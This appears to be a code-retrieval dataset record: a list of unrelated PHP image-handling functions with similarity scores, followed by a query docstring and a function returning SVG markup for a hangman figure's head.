"function view_project_plan($img,$w,$h,$alt)\n{\n if(file_exists(\"../project/plans/\".$img) && $img!='')\n\n $temp= \"<img src=\\\"../include/phpThumb.php?src=../project/plans/\".$img.\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" \n alt='$alt' class='floatL mar12R' />\";\n else\n $temp =\"<img src=\\\"../include/phpThumb.php?src=../project/nophoto.jpg\\\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" alt='$alt' class='floatL mar12R'/>\";\n \n\treturn $temp;\n}",
"public function __toString() {\n\t\tif (!$this->isBound()) {\n\t\t\treturn 'DImage '.$this->id.' [not bound]';\n\t\t}\n\t\t$r = 'DImage '.$this->id.' ['.$this->info;\n\t\tif ($this->getFrameCount() > 1) {\n\t\t\t$r .= ' frames:'.$this->getFrameCount();\n\t\t}\n\t\t$r .= ' #'.$this->getResourceID();\n\t\t$r .= ']';\n\t\treturn $r;\n\t}",
"public function saveAsset()\n {\n if(!empty($this->uploadedFile))\n {\n // If file is exist -> remove him\n if(file_exists($this->getFilePath()))\n {\n unlink($this->getFilePath());\n }\n $this->genFilename();\n $imagine = Image::getImagine()->open($this->uploadedFile->tempName);\n }\n else\n {\n if(file_exists($this->getFilePath())) {\n $imagine = Image::getImagine()->open($this->getFilePath());\n } else return false;\n }\n\n $size = $imagine->getSize();\n $box = $this->getImageBox($size);\n\n if (($size->getWidth() <= $box->getWidth() && $size->getHeight() <= $box->getHeight()) || (!$box->getWidth() && !$box->getHeight())) {\n $widthDiff = abs($size->getWidth() - $box->getWidth()) / $size->getWidth();\n $heightDiff = abs($size->getHeight() - $box->getHeight()) / $size->getHeight();\n if($widthDiff > $heightDiff) {\n $resizeBox = new Box($box->getWidth(), $size->getHeight() * $box->getWidth()/$size->getWidth());\n } else {\n $resizeBox = new Box($size->getWidth() * $box->getHeight()/$size->getHeight(), $box->getHeight());\n }\n $imagine->resize($resizeBox);\n\n // var_dump($width);\n // var_dump($height);\n // die;\n // // $imagine->crop($point, $box);\n // $imagine->save($this->getFilePath());\n // return $this->save(false);\n }\n\n $imagine = $imagine->thumbnail($box, ManipulatorInterface::THUMBNAIL_OUTBOUND);\n $imagine->save($this->getFilePath());\n\n // create empty image to preserve aspect ratio of thumbnail\n // $thumb = Image::getImagine()->create($box, new Color('FFF', 100));\n\n // // calculate points\n // $startX = 0;\n // $startY = 0;\n // if ($size->getWidth() < $box->getWidth()) {\n // $startX = ceil($box->getWidth() - $size->getWidth()) / 2;\n // }\n // if ($size->getHeight() < $box->getHeight()) {\n // $startY = ceil($box->getHeight() - $size->getHeight()) / 2;\n // }\n\n // $thumb->paste($img, new Point($startX, $startY));\n // $thumb->save($this->getFilePath());\n\n return $this->save(false);\n }",
"function getImageCropWindow() {\n printf(\n '<html><head><title>%s</title></head><body>'.\n '<object type=\"application/x-shockwave-flash\" width=\"640\" height=\"540\"\n data=\"flash/imagecrop.swf?lzproxied=false&imageid=%s\">\n <param name=\"movie\" value=\"flash/imagecrop.swf?lzproxied=false&imageid=%s\">\n <param name=\"quality\" value=\"high\">\n <param name=\"scale\" value=\"noscale\">\n <param name=\"salign\" value=\"LT\">\n <param name=\"menu\" value=\"false\"></object></body></html>',\n papaya_strings::escapeHTMLChars($this->_gt('Crop image')),\n papaya_strings::escapeHTMLChars($this->params['file_id']),\n papaya_strings::escapeHTMLChars($this->params['file_id'])\n );\n exit;\n }",
"protected function dumpImage():string{\n\t\tob_start();\n\n\t\ttry{\n\n\t\t\tswitch($this->options->outputType){\n\t\t\t\tcase QROutputInterface::GDIMAGE_GIF:\n\t\t\t\t\timagegif($this->image);\n\t\t\t\t\tbreak;\n\t\t\t\tcase QROutputInterface::GDIMAGE_JPG:\n\t\t\t\t\timagejpeg($this->image, null, max(0, min(100, $this->options->jpegQuality)));\n\t\t\t\t\tbreak;\n\t\t\t\t// silently default to png output\n\t\t\t\tcase QROutputInterface::GDIMAGE_PNG:\n\t\t\t\tdefault:\n\t\t\t\t\timagepng($this->image, null, max(-1, min(9, $this->options->pngCompression)));\n\t\t\t}\n\n\t\t}\n\t\t// not going to cover edge cases\n\t\t// @codeCoverageIgnoreStart\n\t\tcatch(Throwable $e){\n\t\t\tthrow new QRCodeOutputException($e->getMessage());\n\t\t}\n\t\t// @codeCoverageIgnoreEnd\n\n\t\t$imageData = ob_get_contents();\n\t\timagedestroy($this->image);\n\n\t\tob_end_clean();\n\n\t\treturn $imageData;\n\t}",
"public function getPhoto() {\n return DATADIR . 'alumni/' . $this->shortName . '.jpg';\n }",
"function printFull()\n {\n echo'<div class=\"box\" style=\"background-image: url(\\'';\n if($this->img!=\"\")echo $this->img;\n else echo(\"https://$_SERVER[HTTP_HOST]/media/favicons/placeholder.jpg\");\n echo'\\');\">\n <div class=\"box-overlay\">\n <div>\n <h6>'.$this->name.'</h6>';\n if($this->position!=\"\")echo'<h5 class=\"w\" style=\"margin-bottom:3px;margin-top: 3px;\">'.$this->position.'</h5>';\n if($this->email!=\"\")echo'<span><a href=\"mailto:'.$this->email.'@pacificmun.com\">'.$this->email.'@pacificmun.com</a></span>';\n echo'</div><p>'.$this->bio.'</p>\n </div></div>';\n }",
"public function __toString()\n {\n return $this->width . 'x' . $this->height;\n }",
"function build_thumbnail($img, $tumb_width, $tumb_height)\n{\n\t$width = imageSX($img);\n\t$height = imageSY($img);\n\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\t$target_width = $tumb_width;\n\t$target_height = $tumb_height;\n\t\n\t$target_ratio = $target_width / $target_height;\n\t$img_ratio = $width / $height;\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\t\n\t$offx=0;\n\t$offy=0;\n\t$new_width=$width;\n\t$new_height=$height;\n\t\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif($img_ratio > $target_ratio) {\n\t\t$diff_ratio = $target_ratio / $img_ratio;\n\t\t$new_width = $width * $diff_ratio;\n\t\t$offx = ($width - $new_width) / 2;\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif($img_ratio < $target_ratio){\n\t\t$diff_ratio = $img_ratio / $target_ratio;\n\t\t$new_height = $height * $diff_ratio;\n\t\t$offy = ($height - $new_height) / 2;\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\n\t$new_img = ImageCreateTrueColor($tumb_width, $tumb_height);\n\n\t// Fill the image black\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif (!@imagefilledrectangle($new_img, 0, 0, $target_width-1, $target_height-1, 0)) {\n\t\techo \"ERROR\\nCould not fill new image\";\n//\t\texit(0);\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\n\tif (!@imagecopyresampled($new_img, $img, 0, 0, $offx, $offy, $target_width, $target_height, $new_width, $new_height)) {\n\t\techo \"ERROR\\nCould not resize image\";\n//\t\texit(0);\n\t}\n\n\treturn $new_img;\n}",
"public function GetStolpen() {\r\n\r\n $html = <<<EOD\r\n <!-- HÄR KOMMER STOLPEN -->\r\n <g id=\"stolpen\">\r\n <line fill=\"none\" stroke=\"#673B15\" stroke-width=\"8\" stroke-miterlimit=\"10\" x1=\"114.649\" y1=\"9.386\" x2=\"206.216\" y2=\"9.386\"/>\r\n <line fill=\"none\" stroke=\"#673B15\" stroke-width=\"2\" stroke-miterlimit=\"10\" x1=\"120.036\" y1=\"46.626\" x2=\"159.652\" y2=\"9.386\"/>\r\n <line fill=\"#B07F48\" stroke=\"#673B15\" stroke-width=\"8\" stroke-miterlimit=\"10\" x1=\"120.036\" y1=\"175.687\" x2=\"120.036\" y2=\"14.772\"/>\r\n </g>\r\nEOD;\r\n return $html;\r\n }",
"public function picture(){\n }",
"public function getImage($size = '')\n {\n return '';\n }",
"function LayoutGetImage($params=null) // must return string\n{\n global $DB, $sdurl, $userinfo, $plugin_names, $plugin_folder_to_id_arr;\n\n // Below are several security checks to assure, that the passed on plugin-id\n // is valid, the plugin and it's image path exist etc.\n if( !isset($params) || !is_array($params) || (count($params) < 1) ||\n (count($params) > 2) || empty($userinfo['pluginviewids']) )\n {\n return '';\n }\n $image_id = Is_Valid_Number($params[0], 0, 1);\n $plugin_id = 17; //default!\n $w = $h = 0;\n if(isset($params[1]))\n {\n if($p_arr = @preg_split('#,#',$params[1],0,PREG_SPLIT_NO_EMPTY))\n {\n $plugin_id = Is_Valid_Number($p_arr[0], 17, 1);\n $p_arr = array_slice($p_arr,1);\n foreach($p_arr as $p)\n {\n if($p2_arr = @preg_split('#=#',$p,0,PREG_SPLIT_NO_EMPTY))\n {\n if(($p2_arr[0]=='w') && isset($p2_arr[1])) $w = intval($p2_arr[1]);\n if(($p2_arr[0]=='h') && isset($p2_arr[1])) $h = intval($p2_arr[1]);\n }\n }\n\n }\n }\n\n // Sanity checks:\n if( ($image_id < 0) || !$plugin_id || !isset($plugin_names[$plugin_id]) ||\n !in_array($plugin_id, $userinfo['pluginviewids']) )\n {\n return '';\n }\n\n if(empty($image_id))\n {\n $image_id = ' ORDER BY RAND() LIMIT 1';\n }\n else\n {\n $image_id = ' AND i.imageid = '.(int)$image_id;\n }\n $columns = '';\n if($plugin_id >= 5000)\n {\n $columns= ', s.folder, s.access_view';\n }\n\n if(!$folder = array_search($plugin_id, $plugin_folder_to_id_arr)) return '';\n $folder = 'plugins/'.$folder.'/images/';\n if(!is_readable(ROOT_PATH.$folder)) return '';\n\n $sections = empty($userinfo['categoryviewids']) ? '0' : implode(',',$userinfo['categoryviewids']);\n $DB->ignore_error = true;\n $image_arr = $DB->query_first(\"SELECT i.* $columns FROM {p\".$plugin_id.'_images} i'.\n ' INNER JOIN {p'.$plugin_id.'_sections} s ON s.sectionid = i.sectionid'.\n ' WHERE i.activated = 1 AND s.activated = 1 '.\n ' AND s.sectionid IN (%s) %s',\n $sections, $image_id);\n $DB->ignore_error = false;\n\n if(!$image_arr || empty($image_arr['imageid']))\n {\n return 'Image not available!';\n }\n $imagetitle = htmlspecialchars($image_arr['title'], ENT_COMPAT);\n if(isset($image_arr['folder'])) $folder .= $image_arr['folder']; // Media Gallery subfolder support\n $img_md_exists = file_exists(ROOT_PATH.$folder . 'md_' . $image_arr['filename']);\n $image_path = $folder . ($img_md_exists ? 'md_' : '') . $image_arr['filename'];\n if(!$w || !$h)\n {\n list($w, $h, $type, $attr) = @getimagesize(ROOT_PATH.$image_path);\n }\n\n return '<img title=\"' . $imagetitle . '\" alt=\"image\" src=\"' .\n $sdurl. $image_path . '\" width=\"' . $w . '\" height=\"' . $h . '\" />';\n\n}",
"function tep_get_dest_image($small_image_source,$folder = 'xxs',$suffix=''){\n\treturn str_replace('-s',$suffix,str_replace('small',$folder,$small_image_source));\n}",
"public function createImgUri() {\n\t\t$this->imgUri = FLICKR_FARM;\n\t\t$this->imgUri .= $this->photo['farm'];\n\t\t$this->imgUri .= '.';\n\t\t$this->imgUri .= STATICFLICKR;\n\t\t$this->imgUri .= $this->photo['server'];\n\t\t$this->imgUri .= '/';\n\t\t$this->imgUri .= $this->photo['id'];\n\t\t$this->imgUri .= '_';\n\t \t$this->imgUri .= $this->photo['secret'];\n\t\t$this->imgUri .= '.';\n\t \t$this->imgUri .= IMGEXT;\n\t}",
"function tampilPhoto($nrk=''){\n $rs=$this->mdl->get_data($nrk)->row();\n $result = $rs->X_PHOTO->load();\n// If any text (or whitespace!) is printed before this header is sent,\n// the text won't be displayed and the image won't display properly.\n// Comment out this line to see the text and debug such a problem.\n header(\"Content-type: image/JPEG\");\n echo $result;\n }",
"public function image()\n {\n return pov()->img($this->localPath());\n }",
"public function output() {\n $image = get_api_media( $this->params->id );\n\n // Add any custom classes to the already existing class parameter\n if ( $this->params->class ) {\n $regex = '/class=\"(.+?)\"/';\n $image = preg_replace( $regex, 'class=\"$1 ' . $this->params->class . '\"', $image );\n }\n // Only get the image tag\n if ( $this->params->img_only ) {\n $regex = '/(<img.*?>)/';\n $matches = [];\n preg_match( $regex, $image, $matches );\n $image = $matches[0];\n }\n\n return $image;\n }",
"protected function generateGraphic() {}",
"public static function crop(){\n\n}",
"abstract public function get_thumbnail_source_path();",
"private function _xyz()\n {\n $logo = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGQAAAAcCAYAAACXkxr4AAAACXBIWXMAA'\n . 'AsTAAALEwEAmpwYAAAKC0lEQVRoge2ZeVDU5xnHPz/AXdmDGwUEXDAsMxaRywOJEkINxmGp1cYDZ+o0'\n . 'bTTtZDqTQDrpTOu09srkciYzMSpNtO2ITZxpMrD5IyIB2yikchjU6C5JRMBFZFniHuAu6779Y7MbEZZ'\n . 'L2z9Svv/sb/d9rt/7fZ7nPRbmMIc5zGEOc5gdpAdl6Pr1AdFjsnChy4piPkjz5azJTCVGCbbbHpShcs'\n . 'KU8gfm79uK+56g5nMGceSdMxh6bSiUoQTHqlAp5KgUMuShC0ldqGTN4hAUYSrSNbHI5bI5UibBrCenw'\n . '3BdvFH1IYZeG/FLE4mOTiIsIpyQ+aFj5BRqFSqVgoj+VjKXashMXzTO5969e4Xved++fdJEYxP9vm/f'\n . 'Punez6lsTsfXTHRm8h4TxXkvQgINTIYDR06JF176gNScLH6wOZOISDkAXw05sduHx8iqVApSUuWYrsv'\n . 'ovXodt9stQkJCxgXkC/LugAM9TxeB5CezORud2cgFwowIsTqcYv/bjbQPjlBe+RQajcDeNYCltx9PsJ'\n . 'poZRiolNzsuwl4q8OHpIxkWt+rY+OGlRMGGagS7geBJmUyX7OdyKlsT6c6YAaEWB1OUfH7fxCfV8Cuj'\n . 'YlcqmvlxKFmFiyIILNwBXnp0VzpsZDiNvN5pIzmywNAHADh4TJkIfO5efOrgPYfJBFT2ZxNhczU53+9'\n . 'Qva/3ciSohLWLglC/7u3ACjZsJLioizmzQvBPjKKLTSOUNs1tq9L4otLRgZugEL9kN+G0+maUXC+rPI'\n . '9TzQ2WebNpuomW7OmY+t+K31aSlUnzonB8CV8RznAqRN1pKTG85MnS1AqlUiSJAkhxLGGLhZFSoS6na'\n . 'zK01Ktb+HvZzopeHQDD6+NYPRKN+//Rc/+135GUFDQ3E4rAKaskOZzBtE4FEuy1MvZDz5hx871rMrTA'\n . 'iBJkgTQ2TNIrzscW2sz2cuXALAkLow7A3YAomVwtf8mCoV8jowpEDTZoNXhFDVGyEoa5ULDJ+zYtZGV'\n . 'uWkIIfxkCCHEe6eukJU0iuWmhezMFCRJkgZcMOwY8W55b49iNPawMC4Kt9stJvP5/45JK0R/1sDqXC1'\n . 'XP/6IteuWs0ybAHxTGV4ZI47wZMxXPkepCkUmm4fb7RZVR0+i1sSSkioHXDQ1X+bZZ5/At+U1dpvFsf'\n . 'qLmAZtFC1fTPn6zDGVU13XIWwjLmwjTgw9FtKToqjcViA1tHeJ2jMGbLdd5GnjaTH2oZ4vQ1eQTlG2R'\n . 'qo9YxA1TUYAEqLVmAZt5Gnj/d9tw04aPr0GQFWlboxP3QvVovbFcv9vh2pahP6s15bJYqMwU8PTZblo'\n . 'k2MkgD6zVRysbcM0aMM+7EKbFM3O4gz/uLHbLA7WtHK6o4uEKDXWESflxcvYU5YXsEsErBCrwymGPBE'\n . 'ssF2jYO1yHvtuDi7XKC7XqF9GCCFq9G2sKkji0rnP0GqTAAgODqbxozYWJz1EaqzgvXf/RdyCCLIzU/'\n . 'y62uQYqWJrPsYeM8frL47zX9vUSVGWhsptBdINsw1DjwWAomyNlJ4cTZvRxG5dLlWVOqkoW0Plmx/SZ'\n . '7YKH8FVlTopIVpFm9HEnrI8aU9ZnqQrSJd8xLcZTeN8miw2//OhmhZxWN9K6RottS+WS8d/tYU+i52K'\n . 'Ayf9Mj4yqip10vG9W6Q8bTwN57v84xUHTtJnsXOkopTaF8ulPaW5HNa3cqimJWCXCEhIq7GPJcneA19'\n . 'YRDivv2/gzl3iQgjx5tF65IlLiHDcYmjIxrqHlyKE4ILRRL9HzepHVxBxe5TTdc2UbFg57tokTCmXdG'\n . 'u0mCw2jN1mf5B9ZquwDzv9mRYXo54wRl+l6grSJW1iDMfqL1C2Rjuu2u6Fr2Img/6skRxtgj+btckx0'\n . 'i+3rcZksdHQ3iUA9E2GMTqFWRrK1njX14b2LmGy2Nity/V3lvL1mVJhpobG89cC+g1IyA2XGs81r2Jy'\n . 'rIK48Dv84s9tXOu34vF4hG3Yhf7jL3msOJNP/9lCUtIC366LN6o+JGNtPrlawTtv6UnVLKS4KGtCP2X'\n . '56QDU3PVyDe1dFGYvnmrO/CRaHU5hGrSSEKUmPibsgWwaTBbbOOJ81z7GHjMApfnptBlNVNd1CPAmmM'\n . '+/TyZXGz+mxacnR2PsNQf0OyEhHo9HKMOVAL5Fmk3rlhLrGeL12i95+ehZ9r/dSGpOFmlpMjr+3UHx+'\n . 'hUAfNJipGfIzeNbVnCrrZOm5st87/vrAl4qapNjpIQoNafbv8ma2qZOdhYvm3TCAI7VX6S6rkNUvHmS'\n . '3LQEStekT6nzIFGxNZ/CTA2vnmhC90K16DBcH9eKZnrDPSEh/RY70fNuExUdTnBwEEIIFPIQadfWAgY'\n . 'He+gZkTEQFMnjW1Zg6bISGalmVZ4Wh8PBvoOn2fjjH5KjdrF//wk26fJZvSJ90qAKsxf721af2SqAaW'\n . 'd6i6GPNqOJ57fn/8+v98OUcum1Z0qkV35agnXEyY9e1furZbaYkBDnnSDUbgeKMBUhISGS7+yQHKugN'\n . 'DsZ50g/iWneBftqxyV27NoIwLN/qCVv4waKV8n4beUbZGZo2Lx57ZRB+NrWsfqLNLR3octPm1bwFVvz'\n . 'eX57PuBdYB80bCPOackVZWuk2j+WkxCl5pC+dcyYL8GmiwkJkavmEa2SERutxuPx+A0GBQVJO3UrJPV'\n . '82Rj5ZdoEXjpyhtiMHHZsSuRgxQEiI9U8ubuMefOmvp3RJsdI2sQYGs9f9e6usjXTCt7Xs3cUZ6BvMs'\n . 'z45a0Op5joGUCbGEOr4cYYeV9L0ibFTBhL6dcL+t0yLYa+MXKG7kG0ieP1fZiQkKgQifDwUOJjwqR7T'\n . '9Yej0c8XZZLb+fndHa6WJmbzoGTPYjEpWwqieOvv36LBQsi+Plz2ybUDwRdfhr2ERcqhWzGC/Pu0jxU'\n . 'oTL2Hj09pazH4xH56d7F+rC+BavDKawOpzisbyHn690QQHlxBsZeM7VnDAK8ZPzpnWa0iTEUZWskq8M'\n . 'pnnqlVlTXdYg+s1X0ma2i8fw1dF+TUpStkbSJMVTXX/T7OFTTIlo7TZQXZwSMb9Y9t7quQ0hhi1CGKw'\n . 'mOkBM8dJPTf6thYVwUT2xZx6JFsTOy3We2iucO1LFbl0tRtmaMrrHbLGqaDFRuK5DAm82/OdLIa8+U+'\n . 'OWq6zpEbVMnx/duke7We/ndpnEHwLvlTYNW7CMuCjM1PL89f0wy1J4xiOr6i9iHnVhHnDySlcLTuhy/'\n . 'TEN7lzhc24qx14wqVMYjWSlUbP1mLbM6nOLVd5toM3jPPCqFHF1+2qTb8hkT4vF4RPfAMB9fGoB4Ddp'\n . 'YK2erT9F/w0LmslQ2b1479zftfWDSiRt2ukV7r93/3eZy8kW3E5ukYmmyAuvlVi6d+2zWVTGH8Zh0Aj'\n . '0ejxgddWM232LQ7v0vY9hqxzJ4i1tD3muG3ILl/hP1HObwrcN/AF5zmzGLB8I2AAAAAElFTkSuQmCC';\n\n return $logo;\n }",
"protected function imageName() {}",
"function img2map($width, $height, $point, $ext){\n\tif ($point->x && $point->y){\n\t\t$dpp_x = ($ext->maxx -$ext->minx)/$width;\n\t\t$dpp_y = ($ext->maxy -$ext->miny)/$height;\n\t\t$p[0] = $ext->minx + $dpp_x*$point->x;\n\t\t$p[1] = $ext->maxy - $dpp_y*$point->y;\n\t}\n\treturn $p;\n}",
"public function full()\n {\n if (null !== $this->_image) {\n return $this->_createImgTag($this->_image->full);\n }\n }",
"public function getImageResource()\n {\n return imagecreatefromstring($this->getRaw());\n }",
"public function preview_image()\n {\n return 'contact-area/04.png';\n }",
"function createImage($string){\n\t\t//pr($string);die('okszzz');\n\t\t$data\t= base64_decode($string);\n\t\t//echo ($data);die('oksss');\n\t\t\n\t\t$db_img = imagecreatefromstring($data); \n\t\t//.pr($db_img);die;\n\t\t$type = \"jpg\";\n\t\t$name\t= '';\n\t\tif ($db_img !== false) {\n\t\t\tswitch ($type) {\n\t\t\tcase \"jpg\":\n\t\t\t$rand \t= rand(0000, 9999);\n\t\t\t$name\t= $rand.\"user.jpg\";\n\t\t\t\n\t\t\timagejpeg($db_img,$name, '100');\n\t\t\t$img = imagejpeg($db_img,$name, '100');\n\t\t\tbreak;\n\t\t\t\n\t\t}\n\t\t\n\n\t\t}\n\t\treturn $name;\n\t\n\t\n\t}",
"final public function getImage() {\n\t\t\tif(strlen($this->text) === 0)\n\t\t\t\treturn null;\n\t\t\t\n\t\t\t$data = $this->getTCPDFBarcode()->getBarcodeArray();\n\t\t\tif($data === false)\n\t\t\t\treturn null;\n\t\t\t\n\t\t\t$image = new Image($data['maxw'], $data['maxh']);\n\t\t\t\n\t\t\t$x = 0;\n\t\t\tforeach($data['bcode'] as $bar) {\n\t\t\t\tfor($i = 0; $i < $bar['w']; ++$i) {\n\t\t\t\t\tfor($y = 0; $y < $bar['h']; ++$y)\n\t\t\t\t\t\t$image->setPixel($x + $i, $bar['p'] + $y, (int)$bar['t']);\n\t\t\t\t}\n\t\t\t\t$x += $bar['w'];\n\t\t\t}\n\t\t\t\n\t\t\treturn $image;\n\t\t}",
"function ImageSRC()\n\t{\treturn $this->imagelocation . (int)$this->id . \".jpg\";\n\t}",
"function display_image($picture) {\n return \"uploads\" . DS . $picture;\n}",
"function solid(&$psdata, $src_img, &$size_x, &$size_y, &$image, &$mask) {\n // Generate an unique image id\n $id = $this->generate_id();\n\n // Generate the unique temporary file name for this image; \n // we'll use it for imagemagick temporary files\n $tempfile = $psdata->mk_filename();\n\n // Save image as PNG for further processing\n imagepng($src_img, $tempfile.'.png');\n\n // Call image magick - convert to raw RGB samples (binary)\n safe_exec('\"'.IMAGE_MAGICK_CONVERT_EXECUTABLE.'\"'.\" ${tempfile}.png ${tempfile}.rgb\", $output);\n\n // read raw rgb samples\n $samples = file_get_contents($tempfile.'.rgb');\n\n // Determine image size \n $size_x = imagesx($src_img); \n $size_y = imagesy($src_img);\n\n // write stread header to the postscript file\n $psdata->write(\"/image-{$id}-init { image-{$id}-data 0 setfileposition } def\\n\");\n $psdata->write(\"/image-{$id}-data currentfile << /Filter /ASCIIHexDecode >> /ReusableStreamDecode filter\\n\");\n\n // initialize line length counter\n $ctr = 0;\n \n for ($i = 0; $i < strlen($samples); $i += 3) {\n // Save image pixel to the stream data\n $r = ord($samples{$i});\n $g = ord($samples{$i+1});\n $b = ord($samples{$i+2});\n $psdata->write(sprintf(\"%02X%02X%02X\\n\",$r,$g,$b));\n\n // Increate the line length counter; check if stream line needs to be terminated\n $ctr += 6;\n if ($ctr > MAX_LINE_LENGTH) { \n $psdata->write(\"\\n\");\n $ctr = 0;\n };\n };\n\n // terminate the stream data\n $psdata->write(\">\\ndef\\n\");\n\n // return image and mask data references\n $image = \"image-{$id}-data\";\n $mask = \"\";\n\n // Delete temporary files \n unlink($tempfile.'.png');\n unlink($tempfile.'.rgb');\n\n return $id;\n }",
"public function getSponsorlogo() {}",
"function GetImgFullPath($img = NULL, $spr = NULL, $lang_id = NULL )\n {\n if ( empty($spr) ) $spr = $this->spr;\n //if ( empty($lang_id) ) $lang_id = $this->lang_id;\n if ( empty($img) ) $img = $this->img;\n\n $ret = Spr_Img_Path.$spr;\n if(!empty($lang_id)){\n $ret .= '/'.$lang_id;\n }\n $ret .= '/'.$img;\n return $ret;\n }",
"function view_logo_project($img,$w,$h,$alt)\n{\n if(file_exists(\"logo/\".$img) && $img!='')\n\n $temp= \"<img src=\\\"include/phpThumb.php?src=../logo/\".$img.\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" \n alt='$alt' class='floatL mar12R' />\";\n else\n $temp =\"<img src=\\\"include/phpThumb.php?src=../logo/nophoto.jpg\\\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" alt='$alt' class='floatL mar12R'/>\";\n \n\treturn $temp;\t\t\t}",
"public function preview_image()\n {\n return 'contact-area/02.png';\n }",
"function make_vImage($element){\n\t\t$dir=base_url().$element->getFile();\n\t\tif(substr($element->getFile(),0,7)=='http://'){\n\t\t\t$dir=$element->getFile();\n\t\t\t$width=$element->getWidth();\n\t\t\t$height=$element->getHeight();\n\t\t}\n\t\t// Si están definidos ancho y alto, usamos esos\n\t\telse if($element->getWidth() or $element->getHeight()){\n\t\t\t$width=$element->getWidth();\n\t\t\t$height=$element->getHeight();\n\t\t}\n\t\t// Si no, miramos el tamaño de la imagen\n\t\telse list($width,$height)=getimagesize($element->getFile());\n\t\t\n\t\treturn '<img'.$this->setStyle($element).($width?' width=\"'.$width.'\"':'').($height?' height=\"'.$height.'\"':'').' alt=\"'.$element->getAltText().'\" src=\"'.\n\t\t\t$dir.'\" />\n\t\t';\n\t}",
"public function getSliderImageNameAttribute(){\n $photo_src=explode('.',$this->attributes['name']);\n if(count($photo_src)>1)\n {\n $photo_details = pathinfo($this->attributes['name']); \n $name = @$photo_details['filename'].'_1440x960.'.@$photo_details['extension'];\n return url('/').'/images/multiple_rooms/'.$this->attributes['multiple_room_id'].'/'.$name;\n }\n else\n {\n $options['secure']=TRUE;\n $options['width']=1440;\n $options['height']=960;\n $options['crop']='fill';\n return $src=\\Cloudder::show($this->attributes['name'],$options);\n }\n }",
"public function ImageCreateForOnline($name)\n {\n list($width,$height)=getimagesize(\"images/imagesevice/createImg.png\");\n $authimg = imagecreate($width,$height);\n $bg_color = ImageColorAllocate($authimg,68,68,68);\n\n $bg = ImageCreateFromPng(\"images/imagesevice/createImg.png\");\n imagecopyresized($authimg,$bg,0,0,0,0,$width,$height,$width,$height); \n\n $fontfile =\"images/imagesevice/simhei.ttf\";\n putenv('GDFONTPATH=' . realpath($fontfile));\n\n $font_color = ImageColorAllocate($authimg,0,0,0); \n $box = imagettfbbox(25, 0, $fontfile, $name);\n $fontwidth = $box[4]-$box[0];\n ImageTTFText($authimg, 25, 0, ceil(($width-$fontwidth)/2), 830, $font_color, $fontfile, $name);\n\n $font_color = ImageColorAllocate($authimg,68,68,68);\n $dateTime = date(\"Y年m月d日\");\n $boxtime = imagettfbbox(15, 0, $fontfile, $dateTime);\n $datewidth = $boxtime[4]-$boxtime[0];\n ImageTTFText($authimg, 15, 0, ceil(($width-$datewidth)/2), 1175, $font_color, $fontfile, $dateTime);\n //imagestring($authimg, 5, 430, 430, date(\"Y年m月d日\"), $font_color);\n //imagestring($authimg, 5, 230, 730, $name, $font_color);\n $fs = new Filesystem();\n if(!$fs->exists($this->_filedir . '/Online'))\n $fs->mkdir($this->_filedir . '/Online', 0700);\n $fileName = '/Online/' . time() . rand(100,999) . '.png';\n $hechengImg = $this->_filedir . $fileName;\n ImagePNG($authimg,$hechengImg);\n return $fileName;\n }"
]
| [
"0.64527166",
"0.61360264",
"0.6135848",
"0.60319",
"0.6023834",
"0.5960396",
"0.59120286",
"0.59046537",
"0.58788097",
"0.58713907",
"0.58426845",
"0.57840157",
"0.5774175",
"0.575271",
"0.575271",
"0.575271",
"0.575271",
"0.57430995",
"0.56863534",
"0.5674766",
"0.5674407",
"0.565007",
"0.56219923",
"0.56129515",
"0.55697405",
"0.55645555",
"0.55535364",
"0.5516917",
"0.5516447",
"0.5498526",
"0.5495939",
"0.54814076",
"0.5461686",
"0.54568994",
"0.54538363",
"0.542688",
"0.5414431",
"0.54131204",
"0.54036766",
"0.5401612",
"0.53972936",
"0.53723985",
"0.5367892",
"0.5367869",
"0.53642094",
"0.53638786",
"0.5363622",
"0.5352863",
"0.5352863",
"0.5351353",
"0.5345534",
"0.53377485",
"0.53377485",
"0.53342366",
"0.5329686",
"0.532443",
"0.53211933",
"0.5319808",
"0.53112435",
"0.5308095",
"0.53079444",
"0.5304314",
"0.5304042",
"0.5295006",
"0.5284679",
"0.5282221",
"0.5279515",
"0.527845",
"0.52762794",
"0.52739996",
"0.5273335",
"0.5266449",
"0.5265235",
"0.5261136",
"0.5260694",
"0.525336",
"0.524935",
"0.52426976",
"0.52391356",
"0.5235591",
"0.5234363",
"0.52281004",
"0.52191925",
"0.52030164",
"0.5198608",
"0.51972437",
"0.51941806",
"0.51848096",
"0.51820964",
"0.5175387",
"0.5174447",
"0.5170054",
"0.5169708",
"0.5165916",
"0.5164438",
"0.51563025",
"0.51546293",
"0.51527417",
"0.51514673",
"0.5149822",
"0.5149236"
]
| 0.0 | -1 |
end function GetRepet Create a part of the picture and return as string | public function GetHuvud() {
$html = <<<EOD
<!-- HÄR KOMMER HUVUDET -->
<g id="huvud">
<ellipse fill="none" stroke="#000000" stroke-miterlimit="10" cx="201.107" cy="59.149" rx="11.376" ry="14.14"/>
<ellipse fill="none" stroke="#000000" stroke-miterlimit="10" cx="196.243" cy="53.595" rx="2.024" ry="2.413"/>
<ellipse fill="none" stroke="#000000" stroke-miterlimit="10" cx="204.322" cy="53.595" rx="2.024" ry="2.413"/>
<path fill="none" stroke="#000000" stroke-miterlimit="10" d="M194.896,65.322c0-1.737,2.206-3.143,4.934-3.143"/>
<path fill="none" stroke="#000000" stroke-miterlimit="10" d="M203.869,65.322c0-1.737-2.206-3.143-4.934-3.143"/>
<ellipse fill="none" stroke="#000000" stroke-miterlimit="10" cx="199.872" cy="57.654" rx="1.614" ry="1.085"/>
</g>
EOD;
return $html;
} | {
